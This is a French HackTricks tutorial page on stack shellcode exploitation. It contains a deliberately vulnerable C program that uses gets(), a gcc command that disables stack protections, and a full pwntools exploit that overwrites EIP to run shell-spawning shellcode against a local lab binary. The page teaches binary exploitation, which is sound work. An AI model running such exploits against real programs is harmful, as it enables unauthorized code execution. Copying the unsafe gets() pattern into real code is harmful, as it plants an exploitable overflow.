Stack Shellcode

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

Le shellcode de la pile est une technique utilisée dans l'exploitation binaire où un attaquant écrit un shellcode dans la pile d'un programme vulnérable, puis modifie le Pointeur d'Instruction (IP) ou le Pointeur d'Instruction Étendu (EIP) pour pointer vers l'emplacement de ce shellcode, le forçant à s'exécuter. Il s'agit d'une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici une explication du processus, y compris un exemple simple en C et comment vous pourriez écrire une exploitation correspondante en utilisant Python avec pwntools.

Exemple en C : Un programme vulnérable

Commençons par un exemple simple d'un programme C vulnérable :

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Ce programme est vulnérable à un dépassement de tampon en raison de l'utilisation de la fonction gets().

Compilation

Pour compiler ce programme en désactivant diverses protections (pour simuler un environnement vulnérable), vous pouvez utiliser la commande suivante :

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Désactive la protection de la pile.

  • -z execstack: Rend la pile exécutable, ce qui est nécessaire pour exécuter le shellcode stocké sur la pile.

  • -no-pie: Désactive l'exécutable indépendant de la position, facilitant la prédiction de l'adresse mémoire où notre shellcode sera situé.

  • -m32: Compile le programme en tant qu'exécutable 32 bits, souvent utilisé pour simplifier le développement de l'exploit.

Exploit Python utilisant Pwntools

Voici comment vous pourriez écrire un exploit en Python en utilisant pwntools pour effectuer une attaque ret2shellcode:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Ce script construit une charge utile composée d'un glissement NOP, du shellcode, puis écrase l'EIP avec l'adresse pointant vers le glissement NOP, garantissant l'exécution du shellcode.

Le glissement NOP (asm('nop')) est utilisé pour augmenter les chances que l'exécution "glisse" vers notre shellcode indépendamment de l'adresse exacte. Ajustez l'argument p32() à l'adresse de départ de votre tampon plus un décalage pour atterrir dans le glissement NOP.

Protections

  • ASLR devrait être désactivé pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour savoir où la fonction gagnante est chargée.

  • Les Canaris de la pile devraient également être désactivés, sinon l'adresse de retour EIP compromise ne sera jamais suivie.

  • NX La protection de la pile empêcherait l'exécution du shellcode à l'intérieur de la pile car cette région ne serait pas exécutable.

Autres exemples et références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Last updated